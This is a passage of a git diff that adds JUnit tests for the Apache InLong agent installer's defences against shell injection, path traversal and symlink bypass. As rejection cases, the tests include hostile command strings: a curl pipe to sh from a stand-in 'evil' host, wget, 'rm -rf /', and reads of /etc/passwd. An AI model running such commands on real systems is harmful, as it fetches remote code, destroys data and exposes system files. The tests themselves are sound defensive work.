+ : ("ValidationResult{ok=false, rule=" + ruleName + ", failedSubCmd=" + failedSubCmd
+ + ", msg=" + message + "}");
+ }
+ }
+}
diff --git a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java
new file mode 100644
index 00000000000..75c4fa2df5f
--- /dev/null
+++ b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java
@@ -0,0 +1,402 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package installer;
+
+import org.apache.inlong.agent.constant.AgentConstants;
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+import org.apache.inlong.agent.installer.validator.AllowedRootsResolver;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Comparator;
+import java.util.Set;
+import java.util.stream.Stream;
+
+/**
+ * Unit tests for {@link AllowedRootsResolver}. This class is the last line of the shell
+ * injection defence chain: {@code ModuleCommandValidator} ultimately delegates every path
+ * check to {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}. The tests below pin the
+ * behaviours that are easy to break silently during refactors:
+ *
+ *
+ * - path traversal (e.g. {@code root/../etc}) is defeated by {@link Path#normalize()};
+ * - prefix confusion (e.g. {@code /home/user/inlong-agent-evil} vs
+ * {@code /home/user/inlong-agent}) is defeated because {@link Path#startsWith(Path)}
+ * compares by segments, not by string prefix;
+ * - the {@code agent.home} resolution order — system property first, configuration
+ * override second — behaves as documented;
+ * - {@code installer.command.extraAllowedRoots} CSV parsing skips blank items;
+ * - null / blank inputs and {@code conf == null} are handled without throwing.
+ *
+ */
+public class AllowedRootsResolverTest {
+
+ private String savedAgentHomeSysProp;
+ private String savedAgentHomeConf;
+ private String savedExtraRootsConf;
+
+ @Before
+ public void setUp() {
+ // Snapshot the system property and any conf entries the tests may mutate, so we can
+ // restore them in @After. This keeps the shared InstallerConfiguration singleton
+ // clean for every subsequent test.
+ savedAgentHomeSysProp = System.getProperty(AgentConstants.AGENT_HOME);
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ savedAgentHomeConf = conf.get(AgentConstants.AGENT_HOME, null);
+ savedExtraRootsConf = conf.get(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null);
+ }
+
+ @After
+ public void tearDown() {
+ // Restore agent.home system property.
+ if (savedAgentHomeSysProp == null) {
+ System.clearProperty(AgentConstants.AGENT_HOME);
+ } else {
+ System.setProperty(AgentConstants.AGENT_HOME, savedAgentHomeSysProp);
+ }
+ // Restore conf entries. AbstractConfiguration#set(key, null) removes the entry.
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AgentConstants.AGENT_HOME, savedAgentHomeConf);
+ conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, savedExtraRootsConf);
+ }
+
+ @Test
+ public void ofPaths_rootItselfAndChildren_shouldMatch() {
+ Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root");
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ Assert.assertTrue("root itself should match", resolver.isUnderAllowedRoot(root));
+ Assert.assertTrue("direct child should match",
+ resolver.isUnderAllowedRoot(root.resolve("child")));
+ Assert.assertTrue("nested descendant should match",
+ resolver.isUnderAllowedRoot(root.resolve("a/b/c")));
+ }
+
+ @Test
+ public void ofPaths_siblingPath_shouldNotMatch() {
+ Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root");
+ Path sibling = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-other");
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ Assert.assertFalse("sibling directory must not match",
+ resolver.isUnderAllowedRoot(sibling));
+ }
+
+ /**
+ * Path traversal: {@code root/../etc} normalises to {@code /etc} which is outside every
+ * allowed root. Regressing this check would neutralise the whole shell-injection defence.
+ */
+ @Test
+ public void pathTraversal_shouldNotMatch() {
+ Path root = Paths.get(System.getProperty("java.io.tmpdir"), "inlong-test-root");
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ Path traversal = root.resolve("../../etc/passwd");
+ Assert.assertFalse("traversal path must be rejected after normalize()",
+ resolver.isUnderAllowedRoot(traversal));
+ }
+
+ /**
+ * Prefix confusion: {@code /home/user/inlong-agent-evil} shares a string prefix with
+ * {@code /home/user/inlong-agent} but is a different path segment; {@link Path#startsWith}
+ * must reject it. If a future refactor swaps the check for {@link String#startsWith} the
+ * test below fails.
+ */
+ @Test
+ public void prefixConfusion_shouldNotMatch() {
+ Path root = Paths.get("/home/user/inlong-agent");
+ Path evil = Paths.get("/home/user/inlong-agent-evil/x");
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ Assert.assertFalse("path with same string prefix but different segment must be rejected",
+ resolver.isUnderAllowedRoot(evil));
+ }
+
+ @Test
+ public void nullInput_shouldReturnFalse() {
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(
+ Paths.get(System.getProperty("java.io.tmpdir")));
+ Assert.assertFalse(resolver.isUnderAllowedRoot(null));
+ }
+
+ @Test
+ public void build_defaultRoots_shouldContainUserHomeAndTmp() {
+ // Ensure agent.home is not set from either source, so only the guaranteed defaults
+ // (user.home/inlong, user.home/inlong-agent, java.io.tmpdir) are added.
+ System.clearProperty(AgentConstants.AGENT_HOME);
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AgentConstants.AGENT_HOME, null);
+ conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ Set roots = resolver.getRoots();
+
+ String userHome = System.getProperty("user.home");
+ String tmpDir = System.getProperty("java.io.tmpdir");
+ Assert.assertTrue("expected " + userHome + "/inlong in " + roots,
+ roots.contains(Paths.get(userHome, "inlong").toAbsolutePath().normalize()));
+ Assert.assertTrue("expected " + userHome + "/inlong-agent in " + roots,
+ roots.contains(Paths.get(userHome, "inlong-agent").toAbsolutePath().normalize()));
+ Assert.assertTrue("expected java.io.tmpdir in " + roots,
+ roots.contains(toRealOrNormalized(Paths.get(tmpDir).toAbsolutePath())));
+ }
+
+ /**
+ * When {@code -Dagent.home} is set on the JVM (as {@code bin/*.sh} does via
+ * {@code BASE_DIR=$(cd "$(dirname "$0")"/../;pwd)}), it becomes an allowed root even when
+ * the configuration file does not mention it.
+ */
+ @Test
+ public void build_agentHomeFromSystemProperty_shouldBeAdded() {
+ String appHome = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys")
+ .toAbsolutePath().normalize().toString();
+ System.setProperty(AgentConstants.AGENT_HOME, appHome);
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AgentConstants.AGENT_HOME, null);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ Assert.assertTrue("agent.home from -D should be added: " + resolver.getRoots(),
+ resolver.getRoots().contains(Paths.get(appHome)));
+ }
+
+ /**
+ * Configuration entry overrides the {@code -Dagent.home} system property. This mirrors
+ * the documented resolution order: system property first, config override second.
+ */
+ @Test
+ public void build_agentHomeConfOverridesSystemProperty() {
+ String fromSys = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-sys")
+ .toAbsolutePath().normalize().toString();
+ String fromConf = Paths.get(System.getProperty("java.io.tmpdir"), "app-home-conf")
+ .toAbsolutePath().normalize().toString();
+ System.setProperty(AgentConstants.AGENT_HOME, fromSys);
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AgentConstants.AGENT_HOME, fromConf);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ Set roots = resolver.getRoots();
+ Assert.assertTrue("conf value should be present: " + roots,
+ roots.contains(Paths.get(fromConf)));
+ Assert.assertFalse("system property value should have been overridden: " + roots,
+ roots.contains(Paths.get(fromSys)));
+ }
+
+ /**
+ * When neither the system property nor the configuration key is set, the resolver still
+ * builds successfully and simply skips the {@code agent.home} root. Other defaults must
+ * remain available.
+ */
+ @Test
+ public void build_noAgentHome_shouldSkipWithoutError() {
+ System.clearProperty(AgentConstants.AGENT_HOME);
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AgentConstants.AGENT_HOME, null);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ // At minimum the tmpdir default should still be there.
+ Assert.assertTrue(resolver.getRoots().contains(
+ toRealOrNormalized(Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath())));
+ }
+
+ /**
+ * {@code conf == null} must not throw; the resolver falls back to system property /
+ * environment defaults only.
+ */
+ @Test
+ public void build_nullConf_shouldFallBackToDefaultsOnly() {
+ System.clearProperty(AgentConstants.AGENT_HOME);
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(null);
+ Assert.assertFalse("default roots should not be empty", resolver.getRoots().isEmpty());
+ }
+
+ @Test
+ public void build_extraAllowedRoots_shouldSplitAndTrim() {
+ String tmp = System.getProperty("java.io.tmpdir");
+ String extra = "/opt/inlong, " + tmp + "/data ,, "; // includes blanks & empty item
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extra);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ Set roots = resolver.getRoots();
+ Assert.assertTrue("expected /opt/inlong to be added: " + roots,
+ roots.contains(Paths.get("/opt/inlong").toAbsolutePath().normalize()));
+ Assert.assertTrue("expected trimmed second entry to be added: " + roots,
+ roots.contains(Paths.get(tmp, "data").toAbsolutePath().normalize()));
+ }
+
+ @Test
+ public void build_extraAllowedRoots_blankValue_shouldBeIgnored() {
+ InstallerConfiguration conf = InstallerConfiguration.getInstallerConf();
+ conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, " ");
+ // Should not throw; simply produces the default root set.
+ AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+ Assert.assertFalse(resolver.getRoots().isEmpty());
+ }
+
+ // ------------------------------------------------------------------
+ // Symlink bypass defence
+ // ------------------------------------------------------------------
+
+ /**
+ * When a path exists, {@link AllowedRootsResolver#isUnderAllowedRoot(Path)} must use
+ * {@code Path#toRealPath()} to defeat symlink-based bypass. A symlink inside the allowed
+ * root that points outside must not grant access to the outside target.
+ */
+ @Test
+ public void symlinkBypass_existingPath_shouldBeRejected() throws IOException {
+ Path base = Files.createTempDirectory("allowedroot-test-");
+ try {
+ Path root = base.resolve("safe");
+ Files.createDirectory(root);
+
+ // Create a directory outside the allowed root.
+ Path outside = base.resolve("outside");
+ Files.createDirectory(outside);
+ Files.createFile(outside.resolve("secrets.txt"));
+
+ // Create a symlink inside the root pointing to the outside dir.
+ Path symlink = root.resolve("workspace");
+ Files.createSymbolicLink(symlink, outside);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ // workspace/secrets.txt → outside/secrets.txt (outside root) → must reject.
+ Path evilPath = symlink.resolve("secrets.txt");
+ Assert.assertTrue("should exist for this test", Files.exists(evilPath));
+ Assert.assertFalse("symlink to outside root must be rejected for existing path",
+ resolver.isUnderAllowedRoot(evilPath));
+ } finally {
+ deleteRecursively(base);
+ }
+ }
+
+ /**
+ * When the target path does not exist yet (e.g. a {@code mkdir} payload) but an ancestor
+ * directory is a symlink pointing outside the allowed root, the resolver must walk up to
+ * the nearest existing parent, resolve its real path, and reject the spliced result.
+ */
+ @Test
+ public void symlinkBypass_nonExistingPath_shouldBeRejected() throws IOException {
+ Path base = Files.createTempDirectory("allowedroot-test-");
+ try {
+ Path root = base.resolve("safe");
+ Files.createDirectory(root);
+
+ // Outside directory acting as the symlink target.
+ Path outside = base.resolve("outside");
+ Files.createDirectory(outside);
+
+ // Symlink inside the allowed root → outside directory.
+ Path symlink = root.resolve("workspace");
+ Files.createSymbolicLink(symlink, outside);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ // workspace/malicious does not exist; workspace → outside → parent resolves
+ // to outside, remainder = malicious, must be rejected.
+ Path nonExistent = symlink.resolve("malicious");
+ Assert.assertFalse("should not exist for this test", Files.exists(nonExistent));
+ Assert.assertFalse("symlink parent pointing outside root must be rejected for non-existing path",
+ resolver.isUnderAllowedRoot(nonExistent));
+ } finally {
+ deleteRecursively(base);
+ }
+ }
+
+ /**
+ * A non-existent path whose existing ancestors are all genuine (no symlink) and lie
+ * under the allowed root must be accepted — this is the normal {@code mkdir} case.
+ */
+ @Test
+ public void nonExistingPath_underGenuineRoot_shouldBeAccepted() throws IOException {
+ Path base = Files.createTempDirectory("allowedroot-test-");
+ try {
+ Path root = base.resolve("safe");
+ Files.createDirectory(root);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ // safe/new_dir does not exist, parent "safe" is genuine → must accept.
+ Path newDir = root.resolve("new_dir");
+ Assert.assertFalse("should not exist for this test", Files.exists(newDir));
+ Assert.assertTrue("non-existent path under genuine root must be accepted",
+ resolver.isUnderAllowedRoot(newDir));
+ } finally {
+ deleteRecursively(base);
+ }
+ }
+
+ /**
+ * When no part of the path exists at all (including every ancestor up to the root),
+ * the resolver falls back to {@link Path#normalize()} and must still reject traversal
+ * attempts.
+ */
+ @Test
+ public void fullyNonExistentPath_shouldFallBackToNormalize() throws IOException {
+ Path base = Files.createTempDirectory("allowedroot-test-");
+ try {
+ Path root = base.resolve("safe");
+ Files.createDirectory(root);
+
+ AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+ // /tmp/.../completely/nowhere does not exist and neither does any ancestor.
+ // Fallback to normalize: "../evil" resolves to outside root → reject.
+ Path nonExistent = base.resolve("completely/nowhere/../evil");
+ Assert.assertFalse("should not exist for this test", Files.exists(nonExistent));
+ Assert.assertFalse("path traversal via .. must be rejected in fallback path",
+ resolver.isUnderAllowedRoot(nonExistent));
+ } finally {
+ deleteRecursively(base);
+ }
+ }
+
+ // ------------------------------------------------------------------
+ // Helpers
+ // ------------------------------------------------------------------
+
+ /** Resolve to real path when the path exists, otherwise normalize. */
+ private static Path toRealOrNormalized(Path p) {
+ try {
+ return p.toRealPath();
+ } catch (IOException e) {
+ return p.normalize();
+ }
+ }
+
+ private static void deleteRecursively(Path dir) throws IOException {
+ if (Files.exists(dir)) {
+ try (Stream stream = Files.walk(dir)) {
+ stream.sorted(Comparator.reverseOrder())
+ .forEach(p -> {
+ try {
+ Files.delete(p);
+ } catch (IOException ignored) {
+ }
+ });
+ }
+ }
+ }
+}
diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java
new file mode 100644
index 00000000000..dd3f1dc8943
--- /dev/null
+++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java
@@ -0,0 +1,494 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package installer;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+import org.apache.inlong.agent.installer.validator.AllowedRootsResolver;
+import org.apache.inlong.agent.installer.validator.CommandWhitelistResolver;
+import org.apache.inlong.agent.installer.validator.ModuleCommandValidator;
+import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd;
+import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.Set;
+
+/* Unit tests for {@link ModuleCommandValidator}. */
+public class ModuleCommandValidatorTest {
+
+ private ModuleCommandValidator validator;
+ private AllowedRootsResolver defaultRoots;
+
+ @Before
+ public void setUp() {
+ /* Roots matching commands from Manager */
+ String userHome = System.getProperty("user.home");
+ Path inlongRoot = Paths.get(userHome, "inlong");
+ Path tmpRoot = Paths.get(System.getProperty("java.io.tmpdir"));
+ defaultRoots = AllowedRootsResolver.ofPaths(inlongRoot, tmpRoot);
+ validator = new ModuleCommandValidator(defaultRoots);
+ }
+
+ @Test
+ public void legal_startCommand_shouldPassAndBindWorkDir() {
+ ValidationResult r = validator.validate("cd ~/inlong/inlong-agent/bin;sh agent.sh start");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ ParsedSubCmd sh = parsed.get(0);
+ Assert.assertArrayEquals(new String[]{"sh", "agent.sh", "start"}, sh.getArgv());
+ Assert.assertNotNull("cd should bind workDir", sh.getWorkDir());
+ Assert.assertTrue(sh.getWorkDir().toString().endsWith("inlong/inlong-agent/bin"));
+ }
+
+ @Test
+ public void legal_checkCommand_pipelineShouldSplit() {
+ ValidationResult r = validator.validate(
+ "ps aux | grep core.AgentMain | grep java | grep -v grep | awk '{print $2}'");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ ParsedSubCmd sub = parsed.get(0);
+ Assert.assertTrue(sub.isPiped());
+ List pipeline = sub.getPipeline();
+ Assert.assertEquals(5, pipeline.size());
+ Assert.assertArrayEquals(new String[]{"ps", "aux"}, pipeline.get(0));
+ Assert.assertArrayEquals(new String[]{"grep", "core.AgentMain"}, pipeline.get(1));
+ Assert.assertArrayEquals(new String[]{"awk", "{print $2}"}, pipeline.get(4));
+ }
+
+ @Test
+ public void legal_installCommand_multiSubShouldPass() {
+ String cmd = "cd ~/inlong/inlong-agent/bin;sh agent.sh stop"
+ + ";rm -rf ~/inlong/inlong-agent-temp"
+ + ";mkdir -p ~/inlong/inlong-agent-temp"
+ + ";cp -r ~/inlong/inlong-agent/.localdb ~/inlong/inlong-agent-temp";
+ ValidationResult r = validator.validate(cmd);
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ /* cd absorbed as workDir, leaving 4 sub-commands: sh / rm / mkdir / cp */
+ Assert.assertEquals(4, parsed.size());
+ Assert.assertEquals("sh", parsed.get(0).getArgv()[0]);
+ Assert.assertEquals("rm", parsed.get(1).getArgv()[0]);
+ Assert.assertEquals("mkdir", parsed.get(2).getArgv()[0]);
+ Assert.assertEquals("cp", parsed.get(3).getArgv()[0]);
+ Assert.assertNotNull(parsed.get(0).getWorkDir());
+ }
+
+ /* cd applies to all subsequent subs until next cd (POSIX shell semantics) */
+ @Test
+ public void cd_shouldApplyToAllFollowingSubsUntilNextCd() {
+ /* use tmp root from setUp() so path policy doesn't reject cd on macOS (/tmp symlink) */
+ String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString();
+ String cmd = "cd " + tmp + ";mkdir " + tmp + "/e2e-cd-scope"
+ + ";tar -xzvf " + tmp + "/dummy.tar.gz -C " + tmp + "/e2e-cd-scope";
+ ValidationResult r = validator.validate(cmd);
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(2, parsed.size());
+ Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]);
+ Assert.assertEquals("tar", parsed.get(1).getArgv()[0]);
+ Assert.assertNotNull("mkdir must inherit cd's workDir", parsed.get(0).getWorkDir());
+ Assert.assertNotNull("tar must ALSO inherit cd's workDir (shell semantics)",
+ parsed.get(1).getWorkDir());
+ /* both must point to the same target, proving cd persists */
+ Assert.assertEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir());
+ Assert.assertEquals(tmp, parsed.get(0).getWorkDir().toString());
+ }
+
+ /* later cd overrides earlier cd's workDir */
+ @Test
+ public void cd_shouldBeOverriddenByNextCd() {
+ String userHome = System.getProperty("user.home");
+ String tmp = Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString();
+ String cmd = "cd " + userHome + "/inlong;mkdir " + userHome + "/inlong/a"
+ + ";cd " + tmp + ";mkdir " + tmp + "/b";
+ ValidationResult r = validator.validate(cmd);
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(2, parsed.size());
+ Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]);
+ Assert.assertEquals("mkdir", parsed.get(1).getArgv()[0]);
+ /* 1st mkdir under ~/inlong ; 2nd under tmp */
+ Assert.assertTrue(parsed.get(0).getWorkDir().toString().endsWith("inlong"));
+ Assert.assertEquals(tmp, parsed.get(1).getWorkDir().toString());
+ Assert.assertNotEquals(parsed.get(0).getWorkDir(), parsed.get(1).getWorkDir());
+ }
+
+ @Test
+ public void illegal_curlPipe_shouldRejectByMetaChar() {
+ /* "&&" hits metacharacter blacklist */
+ ValidationResult r = validator.validate(
+ "cd ~/inlong/inlong-agent/bin;sh agent.sh start && curl http://evil/x.sh | sh");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ @Test
+ public void illegal_rmSlash_shouldRejectByPath() {
+ ValidationResult r = validator.validate("sh agent.sh start; rm -rf /");
+ assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+ Assert.assertTrue(r.getFailedSubCmd().contains("rm"));
+ }
+
+ @Test
+ public void illegal_dollarParen_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo $(cat /etc/passwd)");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ /* P0: glob wildcards * and ? are rejected */
+
+ @Test
+ public void illegal_starWildcard_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/*.log");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ Assert.assertTrue("reject message must mention the offending meta char '*', got: " + r.getMessage(),
+ r.getMessage().contains("*"));
+ }
+
+ @Test
+ public void illegal_questionMarkWildcard_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/log?.txt");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ Assert.assertTrue("reject message must mention the offending meta char '?', got: " + r.getMessage(),
+ r.getMessage().contains("?"));
+ }
+
+ @Test
+ public void illegal_starInMiddleOfPath_shouldRejectByMetaChar() {
+ /* glob buried inside path must still be rejected, else rm -rf ~/inlong/*\/logs no-ops */
+ ValidationResult r = validator.validate("rm -rf ~/inlong/*/logs");
+ assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+ }
+
+ /* P1: quote-aware split-by-';' and split-by-'|' */
+
+ @Test
+ public void semicolonInsideDoubleQuotes_shouldNotSplit() {
+ ValidationResult r = validator.validate("echo \"hello;world\"");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals("';' inside double quotes must not split", 1, parsed.size());
+ Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv());
+ }
+
+ @Test
+ public void semicolonInsideSingleQuotes_shouldNotSplit() {
+ ValidationResult r = validator.validate("echo 'hello;world'");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, parsed.get(0).getArgv());
+ }
+
+ @Test
+ public void pipeInsideDoubleQuotes_shouldNotSplitPipeline() {
+ /* grep with regex alternation: "ERR|WARN" must not be parsed as pipeline */
+ ValidationResult r = validator.validate("grep \"ERR|WARN\" ~/inlong/app.log");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ Assert.assertFalse("must NOT be parsed as a pipeline", parsed.get(0).isPiped());
+ /* tokenizer preserves literal argv; tilde expansion deferred to path-policy check */
+ Assert.assertArrayEquals(new String[]{"grep", "ERR|WARN", "~/inlong/app.log"},
+ parsed.get(0).getArgv());
+ }
+
+ @Test
+ public void pipeInsideSingleQuotes_shouldNotSplitPipeline() {
+ ValidationResult r = validator.validate("grep 'foo|bar' ~/inlong/app.log");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ Assert.assertFalse(parsed.get(0).isPiped());
+ Assert.assertArrayEquals(new String[]{"grep", "foo|bar", "~/inlong/app.log"},
+ parsed.get(0).getArgv());
+ }
+
+ @Test
+ public void mixedQuotedAndUnquotedSemicolons_shouldSplitOnlyTopLevel() {
+ /* first ";" is real boundary, second ";" is inside quoted argv */
+ ValidationResult r = validator.validate("echo one; echo \"two;three\"");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(2, parsed.size());
+ Assert.assertArrayEquals(new String[]{"echo", "one"}, parsed.get(0).getArgv());
+ Assert.assertArrayEquals(new String[]{"echo", "two;three"}, parsed.get(1).getArgv());
+ }
+
+ @Test
+ public void mixedQuotedAndUnquotedPipes_shouldSplitOnlyTopLevel() {
+ /* top-level "|" builds 2-stage pipeline; quoted "|" stays literal */
+ ValidationResult r = validator.validate("echo hello | grep \"h|i\"");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ List parsed = r.getParsed();
+ Assert.assertEquals(1, parsed.size());
+ ParsedSubCmd sub = parsed.get(0);
+ Assert.assertTrue("must be piped", sub.isPiped());
+ List pipeline = sub.getPipeline();
+ Assert.assertEquals("exactly two pipe stages", 2, pipeline.size());
+ Assert.assertArrayEquals(new String[]{"echo", "hello"}, pipeline.get(0));
+ Assert.assertArrayEquals(new String[]{"grep", "h|i"}, pipeline.get(1));
+ }
+
+ @Test
+ public void unterminatedQuote_shouldReject() {
+ /* unterminated quote must fail validation rather than silently mis-parse */
+ ValidationResult r = validator.validate("echo \"hello");
+ assertRejected(r, ModuleCommandValidator.RULE_EMPTY_COMMAND);
+ }
+
+ @Test
+ public void illegal_wget_shouldRejectByWhitelist() {
+ ValidationResult r = validator.validate("sh agent.sh start; wget http://evil");
+ assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+ }
+
+ @Test
+ public void illegal_pathTraversal_shouldRejectByPath() {
+ /* ~/inlong/../../../etc normalizes to /etc, outside all allowed roots */
+ ValidationResult r = validator.validate("rm -rf ~/inlong/../../../etc");
+ assertRejected(r, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+ }
+
+ @Test
+ public void illegal_shDashC_shouldRejectByForbiddenFlag() {
+ /* avoid $( or && in payload so metacharacter check fires after -c check */
+ ValidationResult r = validator.validate("sh -c echo hello");
+ assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG);
+ }
+
+ @Test
+ public void bashDashC_shouldAlsoBeRejected() {
+ ValidationResult r = validator.validate("bash -c echo hello");
+ assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG);
+ }
+
+ @Test
+ public void extraAllowedRoots_shouldPermitCustomRoot() {
+ /* without /opt/inlong: reject */
+ ValidationResult r1 = validator.validate("rm -rf /opt/inlong/tmp");
+ assertRejected(r1, ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+
+ /* after adding /opt/inlong: accept */
+ AllowedRootsResolver extended = AllowedRootsResolver.ofPaths(
+ Paths.get(System.getProperty("user.home"), "inlong"),
+ Paths.get(System.getProperty("java.io.tmpdir")),
+ Paths.get("/opt/inlong"));
+ ModuleCommandValidator extendedValidator = new ModuleCommandValidator(extended);
+ ValidationResult r2 = extendedValidator.validate("rm -rf /opt/inlong/tmp");
+ Assert.assertTrue("expected ok after adding /opt/inlong, got " + r2, r2.isOk());
+ }
+
+ @Test
+ public void chmodNumericMode_shouldNotBeTreatedAsPath() {
+ /* "755" has no slash, not treated as path; ~/inlong/... is under allowed root */
+ ValidationResult r = validator.validate("chmod 755 ~/inlong/inlong-agent/bin/agent.sh");
+ Assert.assertTrue("expected ok, got " + r, r.isOk());
+ }
+
+ @Test
+ public void emptyCommand_shouldReject() {
+ assertRejected(validator.validate(""), ModuleCommandValidator.RULE_EMPTY_COMMAND);
+ assertRejected(validator.validate(" "), ModuleCommandValidator.RULE_EMPTY_COMMAND);
+ }
+
+ @Test
+ public void backtick_shouldRejectByMetaChar() {
+ ValidationResult r = validator.validate("echo `id`");
